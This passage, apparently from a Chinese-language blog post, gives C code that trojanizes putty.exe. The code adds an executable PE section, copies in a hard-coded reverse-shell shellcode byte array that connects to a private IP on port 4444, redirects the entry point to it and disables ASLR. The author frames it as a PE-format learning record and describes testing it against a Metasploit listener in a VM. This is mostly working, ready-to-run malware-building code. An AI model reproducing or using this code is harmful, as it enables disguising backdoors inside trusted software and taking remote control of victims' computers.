	char* fileBuffer = readFile("C:\\Users\\XXX\\putty.exe");	// 读取PE文件
	char buf[] =
		"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
		"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"
		"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
		"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
		"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x50\x8b\x48\x18\x01\xd3"
		"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
		"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
		"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
		"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
		"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
		"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
		"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
		"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xc9\x0b\x68\x02"
		"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
		"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
		"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
		"\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
		"\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
		"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
		"\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3\x00\x00\x00\x00\x00\x00\x00";	// 末尾加个7个字节

	unsigned long shellcodeLength = sizeof(buf);
	fileBuffer = addSection(fileBuffer, shellcodeLength);
	injectShellcode(buf, shellcodeLength, fileBuffer);

	return 0;
}

char* readFile(const char* fileName) {
	// 打开文件
	FILE* pf = fopen(fileName, "rb");
	if (pf == NULL) {
		printf("文件打开失败！");
		return NULL;
	}

	// 获取文件大小
	unsigned int fileSize = 0;
	fseek(pf, 0, SEEK_END);
	fileSize = ftell(pf);
	fseek(pf, 0, SEEK_SET);

	// 分配内存并初始化
	char* fileBuffer = (char*)malloc(fileSize);
	if (fileBuffer == NULL) {
		printf("内存分配失败！");
		return NULL;
	}
	memset(fileBuffer, 0, fileSize);

	// 读文件
	fread(fileBuffer, fileSize, 1, pf);

	fclose(pf);
	return fileBuffer;
}

char* addSection(char* fileBuffer, unsigned long shellcodeLength) {
	// 解析PE文件
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头，我们直接取其地址赋值即可
	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
	if (ppSectionHeader == NULL) {
		printf("内存分配失败！");
		return NULL;
	}
	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
	if (pFileHeader->NumberOfSections > 1) {
		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
			ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
		}
	}




	// 检查空间阶段
	// 判断是否有足够空间添加节区头
	char* start = (char*)(ppSectionHeader[pFileHeader->NumberOfSections - 1] + 1);
	char* end = fileBuffer + ppSectionHeader[0]->PointerToRawData;
	if (end - start >= 80) {
		printf("有足够的空间添加节区头，共：%d个字节\n", end - start);
	}

	// 判断需要被填充为新节区头的部分是否存在其他数据
	for (int i = 0; i < 40; ++i) {
		if (start[i] != '\x00') {
			printf("节区末尾空间不足，需要上移NT头！");
			return NULL;
		}
	}




	// 新增节区头并完善新节区头中的数据阶段
	// 新增节区头并设置其属性
	PIMAGE_SECTION_HEADER newPSectionHeader = (PIMAGE_SECTION_HEADER)start;
	PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];

	// 将上一个节区头拷贝下来
	memcpy(newPSectionHeader, lastPSectionHeader, IMAGE_SIZEOF_SECTION_HEADER);

	// 设置节区名
	memcpy(newPSectionHeader->Name, ".gcker", 7);

	// 设置节区数据实际长度
	newPSectionHeader->Misc.VirtualSize = shellcodeLength;

	// 设置节区在内存中的偏移量
	unsigned int size = 0;
	if (lastPSectionHeader->Misc.VirtualSize < lastPSectionHeader->SizeOfRawData) {
		size = (lastPSectionHeader->SizeOfRawData - 1) / pOptionalHeader->SectionAlignment + 1;
	}
	else {
		size = (lastPSectionHeader->Misc.VirtualSize - 1) / pOptionalHeader->SectionAlignment + 1;
	}
	newPSectionHeader->VirtualAddress = size * pOptionalHeader->SectionAlignment + lastPSectionHeader->VirtualAddress;

	// 计算在文件中对齐后的尺寸
	newPSectionHeader->SizeOfRawData = ((shellcodeLength - 1) / pOptionalHeader->FileAlignment + 1) * pOptionalHeader->FileAlignment;

	// 计算节区在文件中的偏移量
	newPSectionHeader->PointerToRawData = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;

	// 给节区添加执行权限
	newPSectionHeader->Characteristics |= 0x20000000;




	// 修改PE结构其他成员阶段
	// 设置节区头数量
	pFileHeader->NumberOfSections += 1;

	// 设置内存中整个PE文件尺寸，必须是SectionAlignment的整数倍
	pOptionalHeader->SizeOfImage = ((pOptionalHeader->SizeOfImage + shellcodeLength - 1) / pOptionalHeader->SectionAlignment + 1) * pOptionalHeader->SectionAlignment;




	// 新增节区数据
	// 新增节区数据，用于存放机器码指令
	unsigned int oldFileBufferSize = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;
	fileBuffer = (char*)realloc(fileBuffer, oldFileBufferSize + newPSectionHeader->SizeOfRawData);
	memset(fileBuffer + oldFileBufferSize, 0, newPSectionHeader->SizeOfRawData);
	return fileBuffer;
}

void injectShellcode(char* shellcode, unsigned long shellcodeLength, char* fileBuffer) {
	// 解析PE文件
	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头，我们直接取其地址赋值即可
	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
	if (ppSectionHeader == NULL) {
		printf("内存分配失败！");
		return;
	}
	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
	if (pFileHeader->NumberOfSections > 1) {
		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
			ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
		}
	}
	PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];

	// 插入shellcode
	memcpy(fileBuffer + lastPSectionHeader->PointerToRawData, shellcode, shellcodeLength);
	char newOpcode[] = "\xe8\x00\x00\x00\x00";
	memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength, newOpcode, sizeof(newOpcode));
	unsigned int newOpcodeLength = sizeof(newOpcode) - 1;

	// 添加call指令调用shellcode
	unsigned long e8Address = (lastPSectionHeader->VirtualAddress + pOptionalHeader->ImageBase) - (lastPSectionHeader->VirtualAddress + shellcodeLength + 5 + pOptionalHeader->ImageBase);
	memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength + 1, &e8Address, sizeof(unsigned long));

	// 修改OEP
	unsigned long newOEP = (unsigned long)(lastPSectionHeader->VirtualAddress + shellcodeLength);
	pOptionalHeader->AddressOfEntryPoint = newOEP;

	// 关闭随机基址
	pOptionalHeader->DllCharacteristics &= 0xffbf;

	// 写入文件
	FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
	fwrite(fileBuffer, lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData, 1, pf);
	return;
}

测试

MSF监听

虚拟机执行生成的1.exe

起飞~

​ 其实这个实验还是有不够完美的地方，就是由于我们直接调用了shellcode，程序一直在执行shellcode的指令，所有putty本身的代码没有执行了，所有运行起来的时候是看不到putty界面出来的。同时因为上移NT头的情况应该比较少见，而且相对不难，我这里就没有写出来了。

结尾

​ 这些是我自己近期对PE文件学习的记录，文章中涉及的代码我尽量使用C语言的风格来写，代码可能也不是最优化的版本，无法适配所有环境（所以可能师傅们本地测试可能会报错hhh），仅供学习参考。文章中有不对的地方，还希望师傅们能多多指点一下😋~

posted @ 2022-06-29 13:22  Gcker  阅读(938)  评论(0)  编辑  收藏  举报